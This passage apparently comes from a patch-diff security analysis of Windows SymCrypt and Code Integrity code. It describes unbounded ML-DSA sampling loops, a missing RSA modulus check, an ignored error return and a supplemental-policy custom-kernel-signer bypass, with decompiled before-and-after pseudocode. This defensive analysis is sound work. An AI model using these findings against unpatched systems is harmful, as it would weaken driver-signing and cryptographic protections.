&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_18002A06C)&lt;/code&gt; (patched: &lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_180027128)&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry point:&lt;/strong&gt; ML-DSA (FIPS 204) key generation / secret-coefficient sampling inside SymCrypt&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; &lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt; rejection-samples the coefficients of a secret polynomial in the range &lt;code&gt;[-eta, eta]&lt;/code&gt; by squeezing bytes from a SHAKE/Keccak sponge via &lt;code&gt;SymCryptKeccakExtract (sub_18002BB78)&lt;/code&gt; and mapping each nibble; nibbles out of range decode to a &lt;code&gt;0x80&lt;/code&gt; skip marker that does not advance the output count. The outer loop stops when &lt;code&gt;0x100&lt;/code&gt; (256) coefficients are produced, but the unpatched version has &lt;strong&gt;no independent limit on how many sponge bytes are consumed&lt;/strong&gt; — a long run of skip-producing nibbles keeps the loop reading without filling the polynomial. The patched version adds a byte counter with a limit of &lt;code&gt;0x1E1&lt;/code&gt; (481), returning &lt;code&gt;0x8008&lt;/code&gt; (SYMCRYPT_EXTERNAL_FAILURE) if exceeded. The byte source is the Keccak sponge (fresh generated output), so there is no fixed input buffer to overread.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain (SymCrypt-internal):&lt;/strong&gt;
1. &lt;code&gt;CiInitialize&lt;/code&gt;
2. &lt;code&gt;SymCryptMlDsaSelftest (sub_180022048)&lt;/code&gt;
3. &lt;code&gt;SymCryptMlDsakeySetValue (sub_1800215E0)&lt;/code&gt;
4. &lt;code&gt;SymCryptMlDsaKeyGenerateEx (sub_180020A14)&lt;/code&gt;
5. &lt;code&gt;SymCryptMlDsaExpandS (sub_180029484)&lt;/code&gt;
6. &lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_18002A06C)&lt;/code&gt; — unbounded sampling loop&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 5: Custom Kernel Signers Enabled by Supplemental SI Policy Without Lock/Enable Gate&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt; CWE-693 — protection mechanism failure (kernel-mode driver signature enforcement / custom kernel signers)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;SIPolicyAreCustomKernelSignersAllowed&lt;/code&gt; (unpatched: &lt;code&gt;@ 0x1800706C4&lt;/code&gt;; patched: &lt;code&gt;@ 0x1800764A8&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;New helper functions in patched build:&lt;/strong&gt; &lt;code&gt;SIPolicyCheckCustomKernelSignersAllowed (@ 0x18007652C)&lt;/code&gt; and &lt;code&gt;SIPolicySetCustomKernelSignersLockedEnabled (@ 0x180076558)&lt;/code&gt; — neither has a content match in the unpatched binary&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry point:&lt;/strong&gt; Code Integrity SI-policy initialization / driver-signing-level evaluation (&lt;code&gt;SIPolicyInitSystem&lt;/code&gt; → &lt;code&gt;CipInitializeSiPolicy&lt;/code&gt;), where the result sets the custom-kernel-signers bit (bit &lt;code&gt;0xD&lt;/code&gt;) in &lt;code&gt;g_CiDeveloperMode&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; &lt;code&gt;SIPolicyAreCustomKernelSignersAllowed&lt;/code&gt; answers "may this system accept custom (non-Microsoft) kernel signers?" by inspecting the enable flags at offset &lt;code&gt;+0x708&lt;/code&gt; of each loaded SI policy object.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;unpatched&lt;/strong&gt; version walks the entire &lt;code&gt;g_SiPolicyHandles&lt;/code&gt; array (&lt;code&gt;0 .. g_NumberOfSiPolicies&lt;/code&gt;) and returns &lt;code&gt;true&lt;/code&gt; as soon as ANY policy has the relevant bit set at &lt;code&gt;+0x708&lt;/code&gt; (&lt;code&gt;test al, 18h&lt;/code&gt; when the caller flag is set, else &lt;code&gt;test al, 4&lt;/code&gt;). There is no lock/enable gate and no distinction between a base policy and a supplemental policy — a supplemental policy could set the bit and enable custom kernel signers.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;patched&lt;/strong&gt; version adds two independent restrictions:
1. &lt;strong&gt;Lock/enable gate.&lt;/strong&gt; Before doing anything it compares the new byte &lt;code&gt;cs:byte_180048F08&lt;/code&gt; against zero; if it is unset the function immediately returns &lt;code&gt;false&lt;/code&gt;. This byte is written only by the new &lt;code&gt;SIPolicySetCustomKernelSignersLockedEnabled&lt;/code&gt;, which is called from a registry-backed initialization path (&lt;code&gt;ZwQueryValueKey&lt;/code&gt;/&lt;code&gt;ZwSetValueKey&lt;/code&gt; at &lt;code&gt;~0x180018E4F&lt;/code&gt;/&lt;code&gt;0x180018E9F&lt;/code&gt;, then &lt;code&gt;call SIPolicySetCustomKernelSignersLockedEnabled @ 0x180018EAD&lt;/code&gt;). The byte has zero references in the unpatched binary.
2. &lt;strong&gt;Base-policy restriction.&lt;/strong&gt; Inside the per-policy loop it now calls the new &lt;code&gt;SIPolicyIsBasePolicy&lt;/code&gt; on each handle and stops the scan when the policy is not a base policy, so a supplemental policy is no longer considered. (&lt;code&gt;SIPolicyIsBasePolicy&lt;/code&gt; itself already exists in the unpatched binary at &lt;code&gt;0x1800713D8&lt;/code&gt;; what is new is that this decision function now consults it. The unpatched &lt;code&gt;SIPolicyAreCustomKernelSignersAllowed&lt;/code&gt; never called it.) The per-policy flag test is delegated to the new &lt;code&gt;SIPolicyCheckCustomKernelSignersAllowed&lt;/code&gt;, which re-checks the same lock byte.&lt;/p&gt;
&lt;p&gt;Net effect: the patch is strictly stricter. It moves control of custom kernel signers from "any loaded SI policy, no lock" to "base policy only, and only after an explicit lock/enable state has been set." Because the decision feeds the kernel-mode driver-signature-enforcement path (custom-kernel-signers bit in &lt;code&gt;g_CiDeveloperMode&lt;/code&gt;), the pre-patch behavior let a lower-trust supplemental policy relax which kernel drivers are accepted — a code-integrity trust-boundary weakening. This is not gated by any WIL/&lt;code&gt;Feature_*&lt;/code&gt; staging flag, and the old permissive scan is not retained in the patched build.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reachability:&lt;/strong&gt; &lt;code&gt;SIPolicyAreCustomKernelSignersAllowed&lt;/code&gt; is called during SI-policy initialization (unpatched &lt;code&gt;@ 0x18001A4D8&lt;/code&gt;, patched &lt;code&gt;@ 0x18001A7AC&lt;/code&gt;) where its return value is folded into &lt;code&gt;g_CiDeveloperMode&lt;/code&gt; bit &lt;code&gt;0xD&lt;/code&gt;, and again from a second SI-policy evaluation site in the patched build (&lt;code&gt;@ 0x18006BC0C&lt;/code&gt;). Practical abuse requires the ability to install/load a supplemental SI policy, which is itself a privileged operation, which is why this is rated Medium rather than High.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain:&lt;/strong&gt;
1. &lt;code&gt;SIPolicyInitSystem&lt;/code&gt; — SI-policy subsystem init (called from the CI policy load path)
2. &lt;code&gt;CipInitializeSiPolicy&lt;/code&gt; — per-policy initialization
3. &lt;code&gt;SIPolicyAreCustomKernelSignersAllowed&lt;/code&gt; — custom-kernel-signers decision (result → &lt;code&gt;g_CiDeveloperMode&lt;/code&gt; bit &lt;code&gt;0xD&lt;/code&gt;)&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Finding 1: &lt;code&gt;SymCryptMlDsaExpandS (sub_180029484)&lt;/code&gt; — Ignored Return Value&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED SymCryptMlDsaExpandS (sub_180029484) =====&lt;/span&gt;
&lt;span class="c1"&gt;// Return value of SymCryptMlDsaRejBoundedPoly is IGNORED:&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// -- VULNERABILITY: return value discarded (called as void) --&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;SymCryptMlDsaRejBoundedPoly&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SymCryptWipeAsm&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x42u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// wipe cleanup — always returns 0&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED SymCryptMlDsaExpandS (sub_18002651C) =====&lt;/span&gt;
&lt;span class="c1"&gt;// Return value is now CHECKED:&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SymCryptMlDsaRejBoundedPoly&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="c1"&gt;// -- FIX: check for error --&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;// -- FIX: stop on error --&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LABEL_4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SymCryptWipeAsm&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x42u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// returns actual error status&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 2: &lt;code&gt;SymCryptRsakeyCalculatePrivateFields (sub_180002D3C)&lt;/code&gt; — Missing p·q==modulus Check&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED SymCryptRsakeyCalculatePrivateFields (sub_180002D3C) =====&lt;/span&gt;
&lt;span class="c1"&gt;// After the private-field loops, function just returns v13.&lt;/span&gt;
&lt;span class="c1"&gt;// NO prime/modulus consistency check performed.&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED SymCryptRsakeyCalculatePrivateFields (sub_18000E324) =====&lt;/span&gt;
&lt;span class="c1"&gt;// New consistency-check block ADDED (a7 is the new 7th parameter):&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;a7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// -- FIX: skip flag --&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v21&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;// -- FIX: exactly two primes --&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// -- FIX: product of the two primes --&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;SymCryptFdefIntMulMixedSize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;136&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// -- FIX: compare product against stored modulus --&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SymCryptFdefIntIsEqual&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// p*q == n : ok&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32782&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;// 0x800E SYMCRYPT_INVALID_ARGUMENT&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 3: &lt;code&gt;SymCryptMlDsaSampleInBall (sub_18002A2E8)&lt;/code&gt; — Unbounded Rejection Loop&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ===== UNPATCHED SymCryptMlDsaSampleInBall (sub_18002A2E8) =====&lt;/span&gt;
&lt;span class="c1"&gt;// Inner rejection loop has NO iteration limit:&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// squeeze one SHAKE byte&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// -- VULNERABILITY: no counter, no limit --&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// resample while byte &amp;gt; threshold&lt;/span&gt;

&lt;span class="c1"&gt;// ===== PATCHED SymCryptMlDsaSampleInBall (sub_1800273E0) =====&lt;/span&gt;
&lt;span class="c1"&gt;// Counter with limit of 0x79 (121) iterations:&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x79&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// -- FIX: iteration limit --&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32776&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// -- FIX: 0x8008 SYMCRYPT_EXTERNAL_FAILURE --&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LABEL_9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// -- FIX: increment counter --&lt;/span&gt;
